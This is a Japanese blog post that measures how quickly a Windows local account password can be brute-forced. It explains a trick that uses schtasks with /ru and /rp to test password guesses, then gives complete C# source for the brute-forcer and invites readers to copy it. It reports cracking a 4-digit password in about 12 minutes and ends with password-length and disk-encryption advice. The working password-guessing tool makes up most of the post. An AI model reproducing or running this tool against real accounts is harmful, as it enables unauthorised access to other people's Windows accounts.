こんにちは!作者のActiveTKです。
皆さんはWindowsを使っていますか?
今回は、実際にWindowsのユーザーアカウントのパスワードを総当たりすると、何分かかるのかを検証してみたいと思います!
注意 : 実際のハッキングにも使用可能な手口が書かれていますが、悪用すれば不正アクセス禁止法に抵触します。
真似をした事によって発生した損害を一切負いません。
悪用するなー!
1. アカウント作成
まず、総当たりを実際にするアカウントを作っていきます。
「net」コマンドでアカウントを作成します。
net user {ユーザー名} {パスワード} /add
今回は、ユーザー名「test」、パスワード「7777」のアカウントを作成したいので、
net user test 7777 /add
と実行します。
2. 早速総当たり!
アカウントの作成が終わったので、早速総当たりをしていきたいと思います!
総当たりには、僕が作成したATK_Promptを使用します。
ATK_Prompt自体は公開していないのですが、仕組みと総当たりの部分のソースコードを書いておきますね!
<仕組み>
Windowsには、schtasksというコマンドがあります。
タスクをスケジュールするコマンドです。
「一週間に一回バックアップを取る」のような事が出来ます。
便利な事に、パスワードを知っていれば、
他のアカウントのスケジュールを組む事が可能です。
でも逆に言えば、「パスワードが違っていればタスクをスケジュール出来ない」という事です。
これを悪用して、
schtasks /create /s localhost /ru {ユーザー名} /rp {パスワード} /sc once /sd 1900/01/01 /st 00:00 /tn w /tr svchost /f
というコマンドを{パスワード}の部分を置き換えながら実行し、
戻り値が0だった時(成功時)に現在のパスワードを表示します。
語彙力が少なく、理解出来なかったらすみません。
<コード>
※コピペ/改変OKですが、動作保証はありません。MITライセンスだと考えてください。
// ユーザー名(Environment.UserNameでログイン中のユーザー)
string user = Environment.UserName;
// 総当たりの最小値
decimal min = 0;
// 総当たりの最大値
decimal max = 10000;
WriteLine("Windows Password Attacker");
WriteLine("Copyright (c) 2021 ActiveTK. All rights reserved.");
string oldt = Title;
WriteLine();
if (user == "" || user == null) user = Environment.UserName;
WriteLine("**********************************");
WriteLine("** UserName : " + user);
WriteLine("** MIN : " + min);
WriteLine("** MAX : " + max);
WriteLine("**********************************");
WriteLine("** Starting...");
decimal i = min;
Thread thread = new Thread(new ThreadStart(() =>
{
Stopwatch sw = Stopwatch.StartNew();
sw.Start();
while (true)
{
CursorLeft = 0;
if (i == max)
{
ForegroundColor = ConsoleColor.Red;
WriteLine();
WriteLine("** {0}から{1}の間にパスワードは見つかりませんでした。管理者として実行してみてください。.", min, max);
ResetColor();
break;
}
i++;
string h = "/create /s localhost /ru " + user + " /rp " + i + " /sc once /sd 1900/01/01 /st 00:00 /tn w /tr svchost /f";
Write("** > schtasks " + h + " | ");
ProcessStartInfo processStartInfo1 = new ProcessStartInfo("schtasks", h);
processStartInfo1.CreateNoWindow = true;
processStartInfo1.UseShellExecute = false;
processStartInfo1.RedirectStandardOutput = true;
processStartInfo1.RedirectStandardError = true;
Process process1 = Process.Start(processStartInfo1);
string standardOutput1 = process1.StandardOutput.ReadToEnd();
string standardError1 = process1.StandardError.ReadToEnd();
int ex = process1.ExitCode;
process1.Close();
Write(ex);
if (ex == 0)
{
Write(" | ");
ForegroundColor = ConsoleColor.Green;
WriteLine("OK!");
ResetColor();
break;
}
}
sw.Stop();
Title = Title + " | Windows.GetPassword.end";
ForegroundColor = ConsoleColor.Cyan;
WriteLine("** Windows.GetPassword.Time: " + sw.Elapsed);
ResetColor();
Write("** Press any key to exit.");
sw.Reset();
}));
WriteLine("** Windows.GetPassword.Start [OK|Background]");
WriteLine("** [Esc]か[End]を押すと終了します。");
WriteLine("** 総当たり終了後は何かキーを押すと終了します。");
thread.Start();
while (true)
{
ConsoleKeyInfo cs = ReadKey(true);
if (cs.Key == ConsoleKey.Escape || cs.Key == ConsoleKey.End)
{
ForegroundColor = ConsoleColor.Red;
WriteLine();
WriteLine("** 処理が強制終了されました。");
ResetColor();
thread.Abort();
return -11;
}
else if (Title == oldt + " | Windows.GetPassword.end") break;
}
ForegroundColor = ConsoleColor.Cyan;
WriteLine();
WriteLine("** Windows.GetUser.Password: " + i);
ResetColor();
WriteLine("**********************************");
}
って事で総当たり開始!!
今回は、
ユーザー名 : test
パスワード : 0~9999
という状態で総当たりをしてみます!
3. 結果
それでは、結果を発表します。
パスワード「7777」を当てるまでにかかった時間は、、。
12分29秒です!!
つまり、約15分あれば4桁のパスワードを解析出来るという事です。
恐らく、「めっちゃ長い!」と感じた方と「めっちゃ短い!」と感じた方の両方がいると思います。
Linuxとかを使用していると、たったの数秒でパスワードを解析しているイメージがありますが、それは「パスワード一覧を生成しているだけ」なので、実際に総当たりするとこれくらいの時間がかかります。
逆に、1万通りのパスワードをたった15分で解析できるの!?!?と思った方も多いと思います。
機械的に総当たりすると、ここまで早く(主観ですが)解析する事が出来るという事です。
4. 最後に
パスワードは、必ず6桁以上、出来れば8桁以上の英数字を含むものにしましょう。
ついでに、僕のパスワードは大小英数字+記号を含む25桁です。
今、「何だたったの25桁か」と思った方に向けて書いておきます。
パスワードは長い方が良いですが、安全の代償は利便性の低下です。個人的には20桁前後がちょうど良いと思っています。
別に、警察が来たらHDDを持っていかれて終わりですからね。
本当に隠したいデータがある方はディスクを暗号化しましょう。
僕はBIOSでディスクを暗号化した上に、Cドライブとデータ用のドライブをBitLockerで暗号化しています。
まあ別に隠したいデータがある訳ではありませんがねw
最後まで目を通して頂き、誠にありがとうございました。